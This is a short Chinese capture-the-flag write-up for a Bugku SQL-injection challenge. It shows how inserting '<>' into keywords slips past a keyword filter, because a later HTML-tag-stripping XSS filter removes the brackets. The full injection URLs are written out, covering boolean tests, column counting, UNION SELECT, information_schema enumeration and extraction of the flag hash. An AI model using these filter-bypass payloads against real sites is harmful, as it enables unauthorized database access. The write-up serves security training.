http://www.bugku.com：Bugku——SQL注入1（http://103.238.227.13:10087/）

Bugku——SQL注入1（http://103.238.227.13:10087/）

过滤了几乎所有的关键字，尝试绕过无果之后发现，下面有个xss过滤代码。经搜索得该函数会去掉所有的html标签，所以向注入关键字中插入<>，就可以不被检测到，并成功注入；

1.首先判断是否存在注入：

http://103.238.227.13:10087/?id=1 a<>nd 1=1

 

http://103.238.227.13:10087/?id=1 a<>nd 1=2

通过这两次的返回结果可初步判断存在注入点。

 

2.判断字段大小：

http://103.238.227.13:10087/?id=1 o<>rder by 2

http://103.238.227.13:10087/?id=1 o<>rder by 3

根据返回结果可判断字段值为2

3.判断字段的输出位置；

http://103.238.227.13:10087/?id=1 a<>nd 1=2 uni<>on s<>elect 1,2

如图可发现字段内容的输出位置。

4.输出数据库的信息：

可见有一个额外数据库为sql3.

简便的方法：

http://103.238.227.13:10087/?id=1 a<>nd 1=2 uni<>on s<>elect 1,database()

这样直接会获取到当前所在的数据库

5.查询key表：

http://103.238.227.13:10087/?id=1 a<>nd 1=2 uni<>on s<>elect group_concat(tabl<>e_schema),group_concat(tabl<>e_name) fr<>om info<>rmation_schema.ta<>bles

仔细看输出的数据表的信息，发现因为group_concat()函数的长度限制原因无法打印出全部信息。如下：

至此，查询key表失败，未解决。

6.查到信息：

http://103.238.227.13:10087/?id=1 a<>nd 1=2 uni<>on s<>elect 1,hash fr<>om sql3.key

语句中，前半部分SQL语句查询错误信息，后半部分查询我们需要的信息。

查到hash为 c3d3c17b4ca7f791f85e#$1cc72af274af4adef，即为flag。

 

这道题并不难，但想要强调的是这种白盒审计的思路。有幸认识一个审计超神的大佬，听他讲审计的时候，就经常见到类似这种情况，本来两个过滤都很严实，但放到一起时，就可以用前一个过滤函数去绕过后一个过滤。这是程序员在写程序时常犯的毛病，指的Mark一下。